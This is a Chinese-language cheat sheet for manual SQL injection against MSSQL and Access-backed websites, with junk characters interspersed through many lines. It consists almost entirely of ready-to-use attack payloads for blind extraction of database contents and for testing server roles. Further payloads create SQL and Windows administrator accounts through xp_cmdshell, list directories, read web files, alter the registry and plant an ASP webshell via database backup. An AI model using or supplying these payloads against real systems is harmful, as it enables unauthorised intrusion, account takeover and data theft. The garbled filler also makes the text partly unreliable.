手工脚本注入
% i' I8 E1 V" g/ Z8 I* h6 f1.判断是否有注入;and 1=1 ;and 1=2 & a' J. p9 \& k" X1 k
4 i$ y' V2 x/ P, z
2.初步判断是否是mssql ;and user>0 ! t" Z4 Q# Z4 d3 K: L( m" A
- x4 F1 {' K& m' T3.注入参数是字符'and [查询条件] and ''='
$ I7 h' \/ ~' j
' l9 g- X. ~& l3 l8 ]4.搜索时没过滤参数的'and [查询条件] and '%25'='
6 d" w1 c# w% H7 _6 b: h* ?0 x8 o$ d5 |6 K# T0 d
5.判断数据库系统 4 m( B, G9 o% l4 ]8 \; M3 t
;and (select count(*) from sysobjects)>0 mssql
2 l* ?6 T5 C" G/ P;and (select count(*) from msysobjects)>0 access
. s/ }7 ]* U! x# ?
- ]( Y. q* R- m9 ?) Y2 z% e) m6.猜数据库 ;and (select Count(*) from [数据库名])>0 $ y& W2 x( c5 U# H0 x. W
1 K, r5 U7 J- V
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
( I6 Z3 ^8 S7 t6 S r: o. ~* i- Z. ?
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 % Z) P& V6 ^& J5 C5 h. i1 Q/ D
1 R& E5 w2 y! M+ J( g
9.(1)猜字段的ascii值(access)
) e3 |: u, E9 D0 w2 B* z0 c;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ! t& i0 F: D. y6 O
/ I4 ~4 W- A& C( t
(2)猜字段的ascii值(mssql) ; p9 ?: x; I# O8 ~% B7 u) O5 @
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ( t6 X: e5 f3 D1 A& g
7 |4 l U* K1 b( w" G/ x! X! ]
10.测试权限结构(mssql)
% m* ]# u; o3 G1 A8 p;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- : q; ^4 v$ `) l. Q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 D+ F( x8 E5 q; p6 h) b$ Z;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- # y/ r0 w$ q6 I+ G+ n4 H9 c
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % i" M$ e3 |& _
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- - Y/ H5 H- Y2 w- ]9 M! o
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ S. C% C! I, h; E. A+ G# q! ]# u5 o;and 1=(select IS_MEMBER('db_owner'));--
! Q% {3 p; |* g* f9 H
9 {) y$ k+ [8 s8 n* [) [11.添加mssql和系统的帐户 + k- w4 j9 N2 g. f' ^* O# Z
;exec master.dbo.sp_addlogin username;--
; U+ A* Q9 z# a6 n4 l, w1 g" C5 H) r b6 ]8 D E: d0 p
;exec master.dbo.sp_password null,username,password;--
' P) P: U( D1 ^' p% ~
G6 N( i9 j9 e$ y2 X" s" b# X;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ; b+ M4 W8 b! }; W4 {2 {2 G
" \; u5 V* L" z. `+ h
;exec master.dbo.xp_cmdshell 'net user username password
9 | Y5 M) z/ [! ]/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
! f: K. C! z5 o y- F
) q3 B7 E$ z y( k;exec master.dbo.xp_cmdshell 'net user username password /add';-- * g1 }7 V3 v8 V U$ R: `0 V& y
- W/ L- L+ |- N8 O% z;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- / W) X& ?: O5 w* R; M3 v1 s
0 y3 d1 P; M8 r- Y3 R6 g
12.(1)遍历目录 * A& Q! `/ X6 I' N& S, A1 W
9 l" O! O2 E- K# N2 I
;create table dirs(paths varchar(100), id int)
. b2 n8 o* Y* ^! [7 Y;insert dirs exec master.dbo.xp_dirtree 'c:\'
9 v( _+ e9 p0 A; i% V! M;and (select top 1 paths from dirs)>0 " J# B/ g6 w5 h0 e
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7 l# A: {! o8 F4 m) A
7 [ t( o& Z/ K' ?1 c% }
(2)遍历目录
, ~7 S6 G4 @1 k @;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * q% ^. f4 e+ K# V/ N" y# {2 a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 l5 b+ P9 }; F/ r8 X6 p: n' D: J# d7 Y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ h# L- `" _7 O$ d! W;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1 f5 s% ?" T8 A* q/ [
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 * E( r* _+ I7 H0 _5 l. n
6 s. g- r; @' d' q& }1 S- Y; F4 d, |, e
13.mssql中的存储过程 6 q5 p Q: z- z2 M% U1 y( D: h
) i5 O8 i. h. T' W
xp_regenumvalues 注册表根键, 子键 4 b4 p' \& R, G& }6 M
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ; R3 r* ~: ?- t# R' W {
N3 f7 f- f9 C* [ H2 ]
xp_regread 根键,子键,键值名 6 [6 F8 D" J {
;exec xp_regread : r8 a" h( F0 Q0 S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 }% v4 G7 _/ j) X
}9 I; D# a; P4 lxp_regwrite 根键,子键, 值名, 值类型, 值
& `; L! ^( f2 C# d1 ^( T, M值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 W- O C( x& b$ A% G) a ^6 K" ?;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' U) x$ @5 a3 E' W0 u8 |
, m9 p" v! ~' w, |5 F
xp_regdeletevalue 根键,子键,值名
/ ?# f" u% G0 J' ^/ M. W. N7 Y4 X2 y4 Q' M2 L0 h+ ?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 5 w$ ]( Z' U B' I- T% N
6 E: ]) l; [ r1 e, G7 c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( X: r5 e! I9 k9 `/ b- a, W+ [
" h" j$ W# c9 n1 T0 U
14.mssql的backup创建webshell 2 ?9 ~& M, b- C, E0 V
use model ( b% a& M7 N) K# @7 `+ E5 @) \
create table cmd(str image);
0 t% [& u5 D: [- Q' t Y% Zinsert into cmd(str) values (''); 9 v0 Q+ o6 t! x0 P _8 l3 O
backup database model to disk='c:\l.asp'; 8 G" i# g1 w5 L% W% L' |
k5 H6 s. ^/ A. ]) m
15.mssql内置函数 $ H" A0 B$ [# ^' S& j) ^
;and (select @@version)>0 获得Windows的版本号
/ P( ^# {- {. H% H. G/ M' Y) T;and user_name()='dbo' 判断当前系统的连接用户是不是sa
! l( o3 D5 g, Z;and (select user_name())>0 爆当前系统的连接用户 $ o8 d: z0 ^: {4 m+ |+ {
;and (select db_name())>0 得到当前连接的数据库 # s t+ `: M5 u* `7 A7 ]
2 y, e0 G* [% v- J- f16.简洁的webshell
# V/ [* C2 o# O# S
+ j! T' ~6 W4 O- luse model + V/ Z5 m' d2 \6 I4 `6 F+ o
5 a& n% Q' M& V c* y1 \/ |3 Mcreate table cmd(str image); . o% y! j& C' @
* P Z9 I+ x0 C1 h' r- Ainsert into cmd(str) values ('');
$ A6 p% l5 u. C$ k% J/ S7 l; S; Z* }) A h
backup database model to disk='g:\wwwtest\l.asp'; 0 j, S$ p* J6 @! h, C9 B6 N+ |# e
/ i N9 ~! `! t4 r* W |